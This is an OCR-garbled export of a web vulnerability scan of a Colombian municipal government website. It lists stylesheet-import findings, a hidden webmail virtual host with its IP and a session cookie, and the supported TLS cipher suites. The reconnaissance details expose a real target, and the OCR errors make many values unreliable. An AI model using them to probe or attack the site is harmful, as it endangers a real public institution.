HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 02:45:09 GVl
Cont ent - Type: text/htm; charset=UTF-8
Transf er - Encodi ng: chunked

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/alcaldia/

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ pages/ 49>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co

[/ web/ ?p=49>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-

cultura-en-chia/

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a "href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent / pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/ frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 1 os- sal ones- de- art es- pl asti cas- abren-sus-puertas-para-el-arte-y-
cul tura-en-chia/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi | e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 07:35:13 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[ wp-j son/ wp/ v2/ post s/ 22370>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[ web/ ?p=22370>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-cultura-en-chia/
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https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a "href' that does not begin with a
/

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent / pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/ frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 04:52:23 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/585>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=585>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanarca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/?s=nessus_was_textgqviOtc4

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a 'href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.
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HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ ?s=nessus_was_t ext gqvi Ot c4

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: same-origin

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:54:11 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/"
X- TEC- APl - VERSI O\t v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vil/
X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a "href' that does not begin with a
/

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent / pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/ frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet Inport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"
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Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 02:58:37 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ posts/ 623>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=623>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a "href' that does not begin with a
/

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent / pl ugi ns/ header - f oot er - el enent or/i nc/ w dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Stylesheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ t ranspar enci a- y- acceso- a- | a-i nfor maci on- publ i ca/

REQUEST HEADERS

Referer: https://chia-cundi namar ca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: sanme-origin

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:38: 08 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ pages/ 21>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=21>; rel =shortlink

X- TEC- APl - VERSI ON: v1
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X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/
X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web
Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a '"href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Stylesheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ web/tramites-y-servicios/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 03:50:28 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ pages/ 63>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=63>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p
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Virtual Hosts Detected

VULNERABILITY BINgeN PLUGIN ID 114503

Description

Thisis an informational plugin to inform the user that the scanner detected the presence of one or multiple virtual hosts on the

target server.

Solution

Review all the detected virtual hosts to ensure they are expected to be externally reachable.

See Also

https://httpd.apache.org/docs/2.4/vhosts/examples.html

https://www.thehacker.recipes/web/recon/virtual-host-fuzzing

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2024-11-20T00:00:00+00:00
2024-11-26T00:00:00+00:00
Web Applications

Info

114503
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Virtual Hosts Detected Instances (1)

VULNERABILITY BINgeN PLUGIN ID 114503

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

PROOF
By crafting a request with a specific 'Host' header the scanner obtained a different response

OUTPUT
The scanner was able to detect the present of another virtual host on the target ip 5.189.172.225: 'webnail.co: 443"

HTTP Info

REQUEST MADE
GET / HITP/1.1

REQUEST HEADERS

Host: webnmil . co: 443

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:12:34 GMVI

Content-Type: text/htm; charset="utf-8"

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Cache-Control: no-cache, no-store, nust-revalidate, private

Pragma: no-cache

Cache-Control: no-cache, no-store, nust-revalidate, private

X- Frane- Opti ons: SAMEORI G N

X- Cont ent - Type- Opti ons: nosni f f

Set - Cooki e: webnai | rel ogi n=no; HttpOnly; expires=Thu, 01-Jan-1970 00: 00: 01 GMI; path=/; port=443; secure

Set - Cooki e: webnai | sessi on=%8adVKn50XYAUWR7nB9%2c7290f 2855262416€92369d2063a5baal; HttpOnly; path=/; port=443; secure
Set - Cooki e: roundcube_sessi d=expired; HtpOnly; expires=Thu, 01-Jan-1970 00: 00: 01 GMI; path=/; port=443; secure
Set - Cooki e: roundcube_sessaut h=expired; H tpOnly; donmai n=vm 1181126. cont aboserver.net; expires=Thu, 01-Jan-1970 00: 00:
01 GMT; path=/; port=443; secure

Set - Cooki e: PPA_| D=expired; H tpOnly; expires=Thu, 01-Jan-1970 00: 00: 01 GMI; path=/; port=443; secure

Set - Cooki e: roundcube_cooki es=enabl ed; HtpOnly; expires=Fri, 19-Dec-2025 00:12:34 GMI; path=/; port=443; secure
Cont ent - Encodi ng: gzi p
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SSL/TLS Cipher Suites Supported

VULNERABILITY BINIgeN PLUGIN ID 115491

Description

This plugin displays supported SSL/TLS cipher suites.

Solution

See Also

https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2019-01-09T00:00:00+00:00
2022-10-07T00:00:00+00:00
SSL/TLS

Info

115491
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SSL/TLS Cipher Suites Supported Instances (1)

VULNERABILITY BINIgeN PLUGIN ID 115491

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

OUTPUT

Protocol Cipher Suite Nane (RFC) Key Exchange Strength

3 TLS _AES 256_GCM SHA384 x25519 256

3 TLS CHACHA20_POLY1305_SHA256 x25519 256

3 TLS_AES 128_GCM SHA256 x25519 256

TLS1.2 TLS ECDHE_RSA W TH_AES_128_GCM SHA256 x25519 256
2 TLS ECDHE RSA W TH_AES 256_GCM SHA384 x25519 256
2 TLS DHE_RSA W TH_AES 128 GCM SHA256 DHE_RSA 2048
2 TLS _DHE RSA W TH_AES 256_GCM SHA384 DHE_RSA 2048
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